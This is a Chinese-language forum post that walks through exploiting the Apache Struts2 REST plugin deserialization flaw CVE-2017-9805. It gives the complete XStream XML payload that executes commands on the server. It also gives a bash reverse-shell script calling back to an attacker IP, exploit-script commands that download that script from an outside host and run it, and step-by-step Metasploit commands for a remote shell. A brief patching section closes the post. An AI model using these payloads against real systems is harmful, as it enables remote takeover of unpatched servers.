taibeihacker
Moderator
漏洞描述:
2017年9月5日,Apache Struts發布最新安全公告,Apache Struts2的REST插件存在遠程代碼執行的高危漏洞,該漏洞由lgtm.com的安全研究員匯報,漏洞編號為CVE-2017-9805(S2-052)。 Struts2 REST插件的XStream組件存在反序列化漏洞,使用XStream組件對XML格式的數據包進行反序列化操作時,未對數據內容進行有效驗證,存在安全隱患,可被遠程攻擊漏洞编号:
CVE編號:CVE-2017-9805漏洞复现:
利用弹出计算器复现:
漏洞環境為:win2008sr2+tomcat9.01.從struts2的官網下載最後受影響的版本struts-2.5.12,其下載地址:

拿到struts-2.5.12-apps之後,將其中的app目錄下的struts2-rest-showcase.war文件放到webapps目錄下,我的是
D:\apache-tomcat-9.0.0.M26\webapps
2.瀏覽器中訪問地址:http://ip地址:8080/struts2-rest-showcase/
會跳轉,然後出現下面的頁面:

3.點擊一個edit進行編譯頁面,然後提交,並用burp抓包。


並發送到repeater進行修改包如下:
這裡將:
Content-Type:
application/x-www-form-urlencoded 修改為:
Content-Type:application/xml
post數據改成:
下面的command就是反序列化出來的命令執行:
map
entry
jdk.nashorn.internal.objects.NativeString flags0/flags value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data' dataHandler dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource' is class='javax.crypto.CipherInputStream' cipher class='javax.crypto.NullCipher' initializedfalse/initialized opmode0/opmode serviceIterator class='javax.imageio.spi.FilterIterator' iter class='javax.imageio.spi.FilterIterator' iter class='java.util.Collections$EmptyIterator'/next class='java.lang.ProcessBuilder' command stringcalc.exe/string /command redirectErrorStreamfalse/redirectErrorStream /next /iter filter class='javax.imageio.ImageIO$ContainsFilter' method classjava.lang.ProcessBuilder/class namestart/name parameter-types//method namefoo/name /filter next class='string'foo/next /serviceIterator lock//cipher input class='java.lang.ProcessBuilder$NullInputStream'/ibuffer/ibuffer donefalse/done ostart0/ostart ofinish0/ofinish closedfalse/closed /is consumedfalse/consumed /dataSource transferFlavors//dataHandler dataLen0/dataLen /value /jdk.nashorn.internal.objects.NativeString jdk.nashorn.internal.objects.NativeString reference='./jdk.nashorn.internal.objects.NativeString'//entry entry jdk.nashorn.internal.objects.NativeString reference='././entry/jdk.nashorn.internal.objects.NativeString'/jdk.nashorn.internal.objects.NativeString reference='././entry/jdk.nashorn.internal.objects.NativeString'/
/entry
/map
4.修改完後,就進行提交包:

可以看到響應頁面中有500錯誤:

5.最終在目標機器彈出了計算器

利用s2-052.py反弹linux下的struts2:
1.環境搭建:目標靶機:ubuntu16.04x64+docker(ip地址:192.168.1.105)
攻擊機:kali(nc運行監聽,IP地址:192.168.1.113)
2.dokce鏡像地址:
VulApps/s/struts2/s2-037 at master · Medicean/VulApps
快速搭建各种漏洞环境(Various vulnerability environment). Contribute to Medicean/VulApps development by creating an account on GitHub.
docker pull medicean/vulapps:s_struts2_s2-037 #拉取鏡像到本地
docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-037 #啟動環境
最終訪問:

4.編寫bk.sh腳本,內容為:
bash -i /dev/tcp/192.168.1.113/666 01 #這裡的ip就是我NC監聽的IP地址
6.將bk.sh放到hsf搭建的ftp服務器上或者其他提供文件服務器上

7.通過運行python s2-052.py執行如下:
python s2-052.py http://192.168.1.105:8080/orders 'wget http://192.168.1.102/bk.sh' #下載到目標靶機上


python s2-052.py http://192.168.1.105:8080/orders '/bin/bash ./bk.sh' #執行sh腳本

9.然後在kali進行nc監聽,並反彈出shell:
nc -lvvp 666

s2-052.py的下載地址:
msf下的反弹struts2的shell:
测试环境:目標靶機:ubuntu16.04x64+docker(採用如上文說的利用s2-052.py反彈linux下的struts2搭建環境)攻擊機:kali2017(貌似在kali2016上有點問題,加載不了payload)
1.在kali上執行:
root@kali2017:~# cd /opt
root@kali2017:/opt# wget https://raw.githubusercontent.com/w...db5b48340ef/modules/exploits/multi/http/strut
root@kali2017:/opt# cp struts2_rest_xstream.rb /usr/share/metasploit-framework/modules/exploits/multi/http/

root@kali2017:/opt# msfconsole
msf use exploit/multi/http/struts2_rest_xstream
msf exploit(struts2_rest_xstream) show options

msf exploit(struts2_rest_xstream) set rhost 192.168.1.105
msf exploit(struts2_rest_xstream) set rport 8080

msf exploit(struts2_rest_xstream) set target /orders
msf exploit(struts2_rest_xstream) set lhost 192.168.1.113
msf exploit(struts2_rest_xstream) set lport 443
msf exploit(struts2_rest_xstream) exploit



可以看到成功反彈shell
受影响版本:
Apache Struts Version:Struts 2.5 - Struts 2.5.12漏洞修复建议:
1、升級到Apache Struts版本2.5.132、最好的選擇是在不使用時刪除Struts REST插件,或僅限於服務器普通頁面和JSONs:
constant name='struts.action.extension' value='xhtml,json' /
3、限制服務端擴展類型,刪除XML支持。
由於應用的可用類的默認限制,某些REST操作可能會停止工作。在這種情況下,請調查介紹的新接口以允許每個操作定義類限制,那些接口是:
org.apache.struts2.rest.handler.AllowedClasses
org.apache.struts2.rest.handler.AllowedClassNames
org.apache.struts2.rest.handler.XStreamPermissionProvider